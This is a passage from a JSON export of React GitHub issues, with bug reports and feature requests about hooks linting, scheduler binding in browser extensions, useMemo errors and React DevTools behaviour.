hooks.\r\n\r\nAs for how/where to configure it, I would be happy to add something like this to my .eslintrc:\r\n\r\n```js\r\n{\r\n \"staticHooks\": {\r\n \"useToggle\": [false, true], // first return value is not stable, second is\r\n \"useForm\": true, // entire return value is stable \r\n }\r\n}\r\n```\r\n\r\nThen the plugin could have an additional check [after these 2 checks](https://github.com/facebook/react/blob/8b580a89d6dbbde8a3ed69475899addef1751116/packages/eslint-plugin-react-hooks/src/ExhaustiveDeps.js#L228-L231) that tests for custom names.\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\n\r\nAll versions of eslint-plugin-react-hooks have the same deficiency.\r\n\r\n## Please read my first comment below and try my fork if you are interested in this feature!", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16873/reactions", "total_count": 177, "+1": 166, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 11, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16606", "id": 486744596, "node_id": "MDU6SXNzdWU0ODY3NDQ1OTY=", "number": 16606, "title": "TypeError: \"'requestAnimationFrame' called on an object that does not implement interface Window.\"", "user": { "login": "Jack-Works", "id": 5390719, "node_id": "MDQ6VXNlcjUzOTA3MTk=", "avatar_url": "https://avatars.githubusercontent.com/u/5390719?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Jack-Works", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 1155972012, "node_id": "MDU6TGFiZWwxMTU1OTcyMDEy", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Scheduler", "name": "Component: Scheduler", "color": "9de8f9", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 6, "created_at": "2019-08-29T05:25:38Z", "updated_at": "2019-08-31T01:25:21Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\n**Do you want to request a *feature* or report a *bug*?** **Bug**\r\n\r\n**What is the current behavior?**\r\nTypeError: \"'requestAnimationFrame' called on an object that does not implement interface Window.\"\r\n\r\n**If the current behavior is a bug, please provide the steps to reproduce and if possible a minimal demo of the problem. Your bug will get fixed much faster if we can run your code and it doesn't have dependencies other than React. Paste the link to your JSFiddle (https://jsfiddle.net/Luktwrdm/) or CodeSandbox (https://codesandbox.io/s/new) example below:**\r\n\r\nhttps://github.com/facebook/react/blob/0f6e3cd61cf4a5a1491bb3c92780936aebc2a146/packages/scheduler/src/forks/SchedulerHostConfig.default.js#L88\r\n\r\nIn the WebExtension content script, globalThis !== window.\r\nSo when `const requestAnimationFrame = window.requestAnimationFrame`, the `this` binding of `rAF` is lost.\r\n\r\nIn the after calling, `rAF` rebinds to the globalThis, but globalThis doesn't implements Window interface.\r\n\r\nPoC: Install this extension in the Firefox and you will see the error reported.\r\n```index.js\r\ntry {\r\n const raf = window.requestAnimationFrame\r\n raf(() => console.log('Okay.'))\r\n} catch (e) {\r\n console.warn(e)\r\n}\r\n```\r\n\r\n```manifest.json\r\n{\r\n \"name\": \"rAF in content script test\",\r\n \"version\": \"0.0.1\",\r\n \"manifest_version\": 2,\r\n \"content_scripts\": [{ \"js\": [\"/index.js\"], \"matches\": [\"\"] }]\r\n}\r\n```\r\n\r\n**What is the expected behavior?**\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\nFirefox, in WebExtension. \r\n\r\nRelated to https://github.com/facebook/react/issues/16605", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16606/reactions", "total_count": 7, "+1": 7, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16589", "id": 486023593, "node_id": "MDU6SXNzdWU0ODYwMjM1OTM=", "number": 16589, "title": "Confusing error when passing non-function to useMemo", "user": { "login": "aweary", "id": 6886061, "node_id": "MDQ6VXNlcjY4ODYwNjE=", "avatar_url": "https://avatars.githubusercontent.com/u/6886061?v=4", "gravatar_id": "", "url": "https://api.github.com/users/aweary", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 1109410193, "node_id": "MDU6TGFiZWwxMTA5NDEwMTkz", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Hooks", "name": "Component: Hooks", "color": "c2f27b", "default": false, "description": "" }, "1": { "id": 1776420141, "node_id": "MDU6TGFiZWwxNzc2NDIwMTQx", "url": "https://api.github.com/repos/facebook/react/labels/Partner", "name": "Partner", "color": "e4bef7", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 6, "created_at": "2019-08-27T20:41:37Z", "updated_at": "2022-12-14T15:18:18Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\n[Example](https://codesandbox.io/s/boring-albattani-grhhp).\r\n\r\nWhen passing something like an object to `useMemo` the error isn't very helpful.\r\n\r\n```\r\nTypeError: nextCreate is not a function\r\n at mountMemo (https://grhhp.csb.app/node_modules/react-dom/cjs/react-dom.development.js:13459:19)\r\n ...\r\n```\r\n\r\nMost developers wont know what `nextCreate` is, and passing an object to `useMemo` doesn't seem _obviously_ wrong at first. We could add a `typeof` check that throws a better error, but maybe that's too much overhead? At the very least we could add a DEV warning with more helpful guidance.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16589/reactions", "total_count": 7, "+1": 7, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16566", "id": 484952225, "node_id": "MDU6SXNzdWU0ODQ5NTIyMjU=", "number": 16566, "title": "onMouseEnter event missing when component hides on top of another (i.e. contextual menu)", "user": { "login": "ivalduan", "id": 2285554, "node_id": "MDQ6VXNlcjIyODU1NTQ=", "avatar_url": "https://avatars.githubusercontent.com/u/2285554?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ivalduan", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 127893911, "node_id": "MDU6TGFiZWwxMjc4OTM5MTE=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20DOM", "name": "Component: DOM", "color": "fef2c0", "default": false, "description": null }, "1": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2019-08-25T16:56:06Z", "updated_at": "2020-04-01T22:31:07Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "I provide a codepen example showcasing the issue here,\r\nhttps://codepen.io/ivalduan/pen/VwZpmMQ\r\n\r\n1. The component on the screen tracks correctly a hover state of the mouse pointer\r\n2. With the right button you create a contextual menu without covering the text and the hover state is correct when the mouse is over the menu\r\n3. When you select and option of the contextual menu on top of the background component the second does not receive an onMouseEnter event and the hover state remains false when it should be true", "closed_by": { "login": "stale[bot]", "id": 26384082, "node_id": "MDM6Qm90MjYzODQwODI=", "avatar_url": "https://avatars.githubusercontent.com/in/1724?v=4", "gravatar_id": "", "url": "https://api.github.com/users/stale%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16566/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16547", "id": 484101954, "node_id": "MDU6SXNzdWU0ODQxMDE5NTQ=", "number": 16547, "title": "Devtools v4 does not work with Firefox's private window", "user": { "login": "tetsuharuohzeki", "id": 180104, "node_id": "MDQ6VXNlcjE4MDEwNA==", "avatar_url": "https://avatars.githubusercontent.com/u/180104?v=4", "gravatar_id": "", "url": "https://api.github.com/users/tetsuharuohzeki", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 22, "created_at": "2019-08-22T16:42:22Z", "updated_at": "2024-04-05T15:54:48Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\n**Do you want to request a *feature* or report a *bug*?**\r\n\r\n* bug\r\n* This issue has been reported in https://github.com/facebook/react-devtools/issues/1383\r\n\r\n**What is the current behavior?**\r\n\r\n\r\nSteps to Reproduce is here:\r\n\r\n1. Environments are:\r\n2. Open the page which uses react with a private window.\r\n3. Open Firefox's devtools.\r\n\r\nActual Result is:\r\n\r\n* react devtools' _component_ pane show `Unable to find React on the page.`\r\n* From about:debugging, we can see the below messsage:\r\n\r\n```\r\nSecurityError: Permission denied to access property \"container\" on cross-origin object main.js:51:305877\r\n Kl moz-extension://56db142d-3d36-b04e-91ca-a7504c7708a5/build/main.js:51\r\n apply self-hosted:4417\r\n applySafeWithoutClone resource://gre/modules/ExtensionCommon.jsm:588\r\n asyncWithoutClone resource://gre/modules/ExtensionCommon.jsm:2400\r\n```\r\n\r\n\r\n\r\n**What is the expected behavior?**\r\n\r\nreact devtools work\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\n\r\n* Firefox 68\r\n* react devtools v4.0.5\r\n* react v16.9", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16547/reactions", "total_count": 25, "+1": 25, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16505", "id": 482702938, "node_id": "MDU6SXNzdWU0ODI3MDI5Mzg=", "number": 16505, "title": "Chrome's Custom Formatters", "user": { "login": "roman01la", "id": 1355501, "node_id": "MDQ6VXNlcjEzNTU1MDE=", "avatar_url": "https://avatars.githubusercontent.com/u/1355501?v=4", "gravatar_id": "", "url": "https://api.github.com/users/roman01la", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 7, "created_at": "2019-08-20T07:56:30Z", "updated_at": "2020-01-19T17:36:04Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "**Do you want to request a *feature* or report a *bug*?**\r\nFeature\r\n\r\n_Transferring feature request from the old repo https://github.com/facebook/react-devtools/issues/989_\r\n\r\nHi! Is there any plans on supporting [Chrome's custom formatters](https://docs.google.com/document/d/1FTascZXT9cxfetuPRT2eXPQKXui4nWFivUnS_335T3U/preview) to display custom data structures in readable format in React dev tools?\r\n\r\nFor example when debugging ClojureScript's immutable data structures we have a custom formatter that outputs data into the console in readable and inspectable format.\r\n\r\nHere how it looks like\r\n![screen shot 2018-02-19 at 3 02 32 pm](https://user-images.githubusercontent.com/1355501/36379156-39e8a882-1586-11e8-8973-7e6d3772cb4e.png)\r\n\r\nAnd here's how data looks like in React Dev Tools inspector (basically underlying implementation of a data structure as seen in plain JS)\r\n![screen shot 2018-02-19 at 2 59 04 pm](https://user-images.githubusercontent.com/1355501/36379177-4b280d90-1586-11e8-808d-ea7f2cebb274.png)\r\n\r\nI think this can be done for React Dev Tools since once Custom Formatters are defined they are applied everywhere in Chrome's Dev Tools where it's possible to inspect data.\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16505/reactions", "total_count": 11, "+1": 9, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 2, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16496", "id": 482557603, "node_id": "MDU6SXNzdWU0ODI1NTc2MDM=", "number": 16496, "title": "DevTools: Write tests for preserving selection", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "1": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2019-08-19T22:27:51Z", "updated_at": "2020-01-08T19:10:09Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "See https://github.com/bvaughn/react-devtools-experimental/pull/215. It would be nice to have test coverage for it.\r\n\r\n---\r\nI got stuck here:\r\n\r\n```js\r\n const Component = () =>
Hi
;\r\n\r\n act(() =>\r\n ReactDOM.render(, document.createElement('div'))\r\n );\r\n const id = store.getElementIDAtIndex(0);\r\n const rendererID = store.getRendererIDForElement(id);\r\n\r\n act(() => {\r\n global.bridge.send('selectElement', { id, rendererID });\r\n })\r\n```\r\n\r\nThis test fails on master because bridge object is shared between agent and store. Separating it and emulating having two bridges didn't work because of some regression in the Suspense test. I haven't dug into why because the stack trace display is obscured and points to the wrong line in the test. The stack trace display points to the wrong line likely because of regenerator code. The regenerator code is likely coming from `babel-preset-env` thinking we need to polyfill async/await. I don't know why `babel-preset-env` doesn't realize my Node already has async/await. At that point I punted on this.\r\n\r\n---\r\nOriginally reported by @gaearon via https://github.com/bvaughn/react-devtools-experimental/issues/219", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16496/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16495", "id": 482557409, "node_id": "MDU6SXNzdWU0ODI1NTc0MDk=", "number": 16495, "title": "DevTools: Components tree is sometimes unexpectedly empty after navigation", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "2": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 10, "created_at": "2019-08-19T22:27:13Z", "updated_at": "2021-11-01T17:38:41Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "1. Open FB page\r\n2. Open Components tab\r\n3. Change address bar to `https://reactjs.org` and press Enter\r\n\r\nExpected: Components tab gets populated.\r\nActual:\r\n\r\n\"Screen\r\n\r\n~~If I **inspect background page**, I see this:~~ (fixed by #229)\r\n\r\n\"Screen\r\n\r\n---\r\nOriginally reported by @gaearon via https://github.com/bvaughn/react-devtools-experimental/issues/217", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16495/reactions", "total_count": 3, "+1": 3, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16494", "id": 482557333, "node_id": "MDU6SXNzdWU0ODI1NTczMzM=", "number": 16494, "title": "DevTools: Audit places where we change tags or disconnect alternates in React", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "1": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2019-08-19T22:26:58Z", "updated_at": "2020-01-08T19:10:09Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Cases like https://github.com/bvaughn/react-devtools-experimental/issues/197 (where a dehydrated Suspense node turns into a regular one) produce confusing failures because we expect Fiber alternates to be \"for life\", whereas in practice they can actually get disconnected by React in some cases. (Search for \"Disconnect\" in ReactFiberBeginWork.)\r\n\r\nAdditionally, I think changing `tag` can also produce confusing failures if it changes from a value that was filtered out, to a value that is not filtered out.\r\n\r\nWe need to be more proactive about handling these cases when we make such changes to React, and we need to look at existing cases where this happens and whether we can handle them.\r\n\r\n---\r\nOriginally reported by @gaearon via https://github.com/bvaughn/react-devtools-experimental/issues/198", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16494/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16490", "id": 482556957, "node_id": "MDU6SXNzdWU0ODI1NTY5NTc=", "number": 16490, "title": "DevTools: Check if accessibility regressions exist compared to old DevTools", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "1": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2019-08-19T22:25:36Z", "updated_at": "2020-01-08T19:11:00Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Before this becomes stable, we need to check if we are regressing accessibility on any important existing interactions.\r\n\r\nAt least, we should probably make the tree view focusable.\r\n\r\n---\r\nOriginally reported by @gaearon via https://github.com/bvaughn/react-devtools-experimental/issues/52", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16490/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16488", "id": 482556701, "node_id": "MDU6SXNzdWU0ODI1NTY3MDE=", "number": 16488, "title": "DevTools: Re-enable postMessage transferable for faster ArrayBuffer transfers", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "2": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2019-08-19T22:24:43Z", "updated_at": "2020-01-08T19:11:00Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "I got this on FB.com sandbox:\r\n\r\n\"screen\r\n\r\n\r\n---\r\nOriginally reported by @gaearon via https://github.com/bvaughn/react-devtools-experimental/issues/25", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16488/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16487", "id": 482556578, "node_id": "MDU6SXNzdWU0ODI1NTY1Nzg=", "number": 16487, "title": "DevTools: Crashes and warnings when quickly collapsing", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "2": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2019-08-19T22:24:17Z", "updated_at": "2020-01-08T19:10:59Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "This is weird. Happens if I select a node deeply and then long-press \"left\" arrow.\r\n\r\n```\r\nInvalid index 154 specified; store contains 154 items.\r\n\r\nUncaught Invariant Violation: Expected to find a host parent. This error is likely caused by a bug in React. Please file an issue.\r\n at ReactError (file:///Users/gaearon/p/react-devtools-experimental/shells/dev/build/devtools.js:8529:40)\r\n```\r\n\r\nIt starts with \"invalid index\" and then gives me different React invariants or warnings depending on how lucky I am.\r\n\r\n![Screen Recording 2019-04-25 at 05 58 PM](https://user-images.githubusercontent.com/810438/56754075-fcbafb80-6783-11e9-8fe6-84aa29d1c120.gif)\r\n\r\n---\r\nMore weird symptoms:\r\n\r\n\"Screen\r\n\r\n---\r\n\"Screen\r\n\r\n---\r\nThis \"fixes\" it:\r\n\r\n```diff\r\n runWithPriority(UserBlockingPriority, () => dispatch(action));\r\n- next(() => dispatch({ type: 'UPDATE_INSPECTED_ELEMENT_ID' }));\r\n+ runWithPriority(UserBlockingPriority, () => dispatch({ type: 'UPDATE_INSPECTED_ELEMENT_ID' }));\r\n },\r\n```\r\n\r\nSo I suspect it's a bug with `Scheduler.next()`.\r\n\r\n---\r\nThis also looks funky. Note how somewhere in the middle right pane gets \"stuck\" showing the same cycle of values:\r\n\r\n![Screen Recording 2019-04-25 at 07 36 PM](https://user-images.githubusercontent.com/810438/56759733-8b824500-6791-11e9-95ba-d4d3630a4c5e.gif)\r\n\r\n---\r\nReact bug: https://github.com/facebook/react/issues/15512\r\n\r\n---\r\nOriginally reported by @gaearon via https://github.com/bvaughn/react-devtools-experimental/issues/228", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16487/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16483", "id": 482551102, "node_id": "MDU6SXNzdWU0ODI1NTExMDI=", "number": 16483, "title": "DevTools: Better linking between browser Performance tab and DevTools Profiler", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null 